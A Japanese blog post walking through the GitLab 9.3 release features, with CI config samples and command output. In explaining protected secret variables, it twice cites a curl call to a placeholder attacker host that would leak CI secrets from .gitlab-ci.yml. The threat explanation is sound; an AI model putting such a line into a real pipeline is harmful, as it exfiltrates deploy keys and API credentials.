GitLab 9.3 リリース

6/19 に GitLab.com のブログに 9.3 リリースが掲載されましたがすぐに撤回されました。今月からリリース日が変わったのかな? 向こうはバカンスに入るのかな? と思っていましたが、ただ単に間違えて掲載したようです。今月も 22 日リリースは変わりませんでした。

それではじめて知ったのですが、GitLab.com の 404 はたぬきに注意なんですね。なんか可愛いです。

注: GitLab のロゴはたぬきです

というわけで、今月の定例リリース GitLab 9.3 がリリースされました!

変更点

個人的に気になった新機能を紹介します。

GitLab Code Quality EE Only

いつもは CE で使えない機能の紹介は手を抜くんですが、Code Quality はイケてる機能なのできちんと紹介します。

この機能は、OSS の Code Climate CLI という静的コード診断ツールの結果を Merge Request に表示してくれるものです。詳しくは Code Quality に書かれています。

使い方はとても簡単で、.gitlab-ci.yml ファイルにこれを追加しておくだけです。(GitLab.com の場合) 勝手にいろいろ判断して、コード検査をしてくれます。

codeclimate:
  image: docker:latest
  variables:
    DOCKER_DRIVER: overlay
  services:
    - docker:dind
  script:
    - docker pull codeclimate/codeclimate
    - docker run --env CODECLIMATE_CODE="$PWD" --volume "$PWD":/code --volume /var/run/docker.sock:/var/run/docker.sock --volume /tmp/cc:/tmp/cc codeclimate/codeclimate init
    - docker run --env CODECLIMATE_CODE="$PWD" --volume "$PWD":/code --volume /var/run/docker.sock:/var/run/docker.sock --volume /tmp/cc:/tmp/cc codeclimate/codeclimate analyze -f json > codeclimate.json
  artifacts:
    paths: [codeclimate.json]

パイプラインの中で、Code Climate CLI によって静的コード診断がなされ、その結果が Merge Request に表示されます。

試したMerge Request はこちらです。

codeclimate/codeclimate init でプロジェクトを分析して検査内容を決め、codeclimate/codeclimate analyze -f json で JSON で検査結果を出力しています。

今回試したプロジェクトは JavaScript でコード検査に ESLint を使っています。こちらの設定ファイル .eslintrc.js ファイルを検出しくれました。Code Climate CLI が ESLint 検査用の Docker Image をダウンロードし、そこで検査がされるようです。

さらに、Merge Request に表示されるコード検査の結果は、Merge Request の起点のコード検査結果との差分のようです。

今はレビュー結果をこのように表示しているだけですが、おそらくは、将来的には Merge Request で表示されるソースコードの方に、レビュー結果が反映されるようになるんでしょうね。とても楽しみです。

この機能、もともとは CE に入る予定だった模様です。ですが、
途中でエンタープライズ向けと判断され、EE のみとなったようです。個人的に今月一番期待していた機能だけに残念です。

Multi-Project Pipeline Graphs EEP Only

こちらも EE のみ、しかも EEP のみなので GitLab.com でも Premium サブスクリプションの購入が必要です。

GitLab 9 になってから、マイクロサービスアーキテクチャの開発も視野に入ったようで、それをサポートするための機能の一つになります。プロジェクトのパイプラインから他のプロジェクトのパイプラインを起動することができますが、それが視覚的にわかるようになったようです。

(他のプロジェクトのパイプラインを起動する方法は CI job token に書かれています)

EEP ということで、試していません。

マイクロサービスアーキテクチャとか大規模な開発ではなくても、フロントエンドとサーバーサイドを別々のプロジェクトにしておいて、成果物としてはひとつにしたいとかよくあるので、CE でも欲しいですよねぇ...

Conversational Development Index

去年 GitLab 社が発表した新しい開発スタイル ConvDev というものがあります。この ConvDev の指標として使うための機能のようです。

データがないと全然面白くないので、画像は公式ブログのものを使っています。

In this first iteration, the metrics are only available to GitLab system administrators, aggregating data across your entire GitLab instance amongst active users.

と書かれている通り、今は GitLab の管理者のみの機能となりますが、将来的にはプロジェクトやグループで見れるようになるんでしょうか?

Protected Variables for Enhanced Pipelines Security

先月 Manual Actions Respect Protected Branches の中で、CI パイプラインのセキュリティが強化されていくとお話しましたが、その強化の一貫です。

GitLab CI パイプラインでは何らかのウェブサービスの API の API キーなど、開発者には知らせたくない情報をどうにかして設定する必要があります。Git リポジトリに書いてしまうと、API キーを誰でも読めてしまいます。悪意のある人がそれを発見して、なりすましをするかもしれません。あとで高額の請求書が来るかもしれません。

そのために Secret Variables が用意されています。Secret Variables はそのプロジェクトの Owner か Master しか設定することはできませんので、ちょっと安心感があります。

ところが、この Secret Variables はパイプラインで環境変数として利用できるため、悪意のある開発者は .gitlab-ci.yml に curl http://warui.example.com/$HOGEHOGE とか書いておくことで読み取ることができます。特に、本番系のデプロイキーやサービスのキーが漏洩してしまうと、大変なことになります。

今回の Protected secret variables はこの問題を解消します。Secret Variables の設定で Protected を選択できるようになりました。

Protected branch に設定されている master にコミットすると、パイプラインで PROTECTED の値を使うことができます。(動かした結果)

$ echo NON_PROTECTED=${NON_PROTECTED}
NON_PROTECTED=this is non protected
$ echo PROTECTED=${PROTECTED}
PROTECTED=this is protected

Protected branch ではない non-protected にコミットしても、PROTECTED の値は未設定となります。(動かした結果)

$ echo NON_PROTECTED=${NON_PROTECTED}
NON_PROTECTED=this is non protected
$ echo PROTECTED=${PROTECTED}
PROTECTED=

Tag も同様に、Protected Tag は PROTECTED の値が使えますが、そうでない Tag では未設定となります。

もちろん、悪意のあるコード curl http://warui.example.com/$HOGE のようなものの実行を完全に止めることはできません。ですが、プロジェクトの管理者によるコードレビューの前に実行されることは防げるようになりました。これはとても大きいと思います。

Centralized Audit Log & Extended User Audit Actions EEP Only

社内で GitLab を展開されている方で全社的に使われているところは監査ログは悩みの種だと思います。監査ログの保管を義務付けられている会社も多いと思います。

監査ログ機能がついにつきました! ただし、EEP のみなので Premium を購入する必要があります!

Repository Settings Made Simple

GitLab のプロジェクトの設定ってごちゃごちゃしててわかりにくいと思いませんか? しかもしょっちゅう場所が移るし...

GitLab 9.3 ではプロジェクトの設定のうち、リポジトリの設定がだいぶすっきりしました! (折りたたまれるようになっただけな気もしますが...)

これが評判が良ければ、来月以降他の設定ページもこうなるんでしょうね。CI パイプラインの設定とか、ごちゃごちゃしてますし。

Group Label Permissions

9.2 以前は Group Label は Master と Owner だけが Label を作れるように制限されていたのが、9.3 では Developer と Reporter も自由に Label を作れるようになったみたいです。

開発者やテスターが好きにしていいのかな? と思ったら、プロジェクトの Label は昔から Developer や Reporter も作れてたみたいです。知りませんでした...

細かい権限を確認したい方は Permissions をどうぞ!

Edit Issue Description Inline, Without Losing Context

何気にありがたい改善です。Issue の変更が、ページ遷移無しでできるようになりました。ということは、Issue のコメントを見ながら Issue の Description を修正するといったこともやりやすくなります。

Issue Board Usability Improvements

Issue Board の Backlog と Closed を折りたためるようになりました。スプリントの間はあまり Backlog や Closed を見ることは少ないと思いますので、重宝しそうです。

Issue Board って横に長くなりがちだったので助かります。

Internationalization of Project Home & Repository Files Pages

9.2 では Cycle Analytics だけ多言語化され、スペイン語とドイツが追加されました。

9.3 では多言語化が更に推し進められています。

• 多言語化の対象がプロジェクトのホームとリポジトリに拡大された
• 中国語とブルガリア語とブラジルポルトガル語が追加された

なお、日本語についてですが GitLab.JP コミュニティの Slack で少しずつ進んでいるようです。9.3 には間に合わなかったみたいですが、もし手伝ってもいいという方がいらっしゃったら、GitLab.JP の Slack に入ってみてはいかがでしょうか? もしかしたら、9.4 には日本語も追加されるかも?

今のところ、GitLab ドキュメント (ヘルプ) の多言語化はスコープ外のようです。

Access private Container Registry images

個人的に今月一番重要な変更です。

GitLab では GitLab API を呼び出すことで、様々なことを自動化することができます。一般的に Personal Access Token を取得して、それを使って GitLab API を呼び出します。

GitLab Container Registry は GitLab API が用意されておらず、Docker Registry API を使うことになりますが、この Personal Access Token を利用することができません。どうしても、GitLab アカウントのパスワードが必要でした。

9.3 では Personal Access Token に read_registry 権限がつきました。このトークンを使って GitLab Container Registry にログインできるようになります。

こんな感じで、read_registry をつけたトークンを発行しておきます。

パスワードの代わりに使うことができます。

$ docker login registry.gitlab.com
Username (masakura): 
Password:  <- ここに Personal Access Token を入力する
Login Succeeded

ちなみに、Username は何でもいいみたいです。

GitLab CI パイプラインでは専用のトークンがあって何も考えなくていいのですが、GitLab の外から GitLab Container Registry を操作するのは難しかったので今回の変更はとてもありがたいです。

他にも GitLab Container Registry 周りで提案があるみたいなので、どんどん良くなりそうで楽しみです。

Auto-cancel Redundant Pipelines Now Set to On for All Projects

9.1 でパイプラインが自動でキャンセルされる設定ができるようになりましたが、キャンセルされるのがデフォルトに変更されました。

すでに Running となっているパイプラインはキャンセルされませんが、Pending で HEAD でないものはキャンセルされます。

Debian 9 Support

自分は Ubuntu ユーザーなのであまり気にしてなかったのですが、Debian のサポートが加わったのはとても重要なことらしく、GitLab.jp でも話題に上がってたので紹介します。

9.3 も公開されているようです。

Snippet Descriptions

個人的にあまりうまく使えていない Snippet ですが、使っているところは重宝してそうですよね。

この Snippet に Description が書けるようになりました! 今まではコメントだけしか書けなかったので、ありがたいですね。

Improvements to GitLab Subgroups

何気に今月のイチオシじゃないでしょうか?

GitLab メニューの Groups でグループ階層が見れるようになりました!

Enhanced View for Repository Files

リポジトリのファイルプレビューが強化されました。

.gitlab-ci.yml ファイルや .gitlab/route-map.yml ファイルのエラーを教えてくれたり、GitHub みたいに LICENSE を判別してくれたりするようです。

.gitlab-ci.yml ファイルを見るときに間違いをこんな感じで教えてくれます。

Dropping Support for Subgroups in MySQL

MySQL を使っている人への悲報です。データベースに MySQL を使っている場合、サブグループが使えなくなるそうです。9.3 にアップグレードをする過程で、サブグループはすべてルートレベルになるようなことも書いてあります。

We continue to support MySQL in general, although some features such as GitLab Geo and Zero-downtime migrations are only available on PostgreSQL.

一部の機能は使えいないものの、MySQL は引き続きサポートを続けていくよってことだそうです。

最後に

9.x になってから、機能追加のペースが落ちたような、どうしたんだろう? まあ、ブログ書くの楽だしなあと思ってたんですが、9.3 はすごいですね。これを書くのがすごい大変でした。(笑)

9.4 も長いですね...

GitLab Meetup Tokyo #3 で鈴木 和真さんがプロジェクトをまたいだIssue管理という発表をされています。9.4 では Native group milestones が入るようですので、プロジェクトをまたいだ Issue 管理がより楽になりそうですね。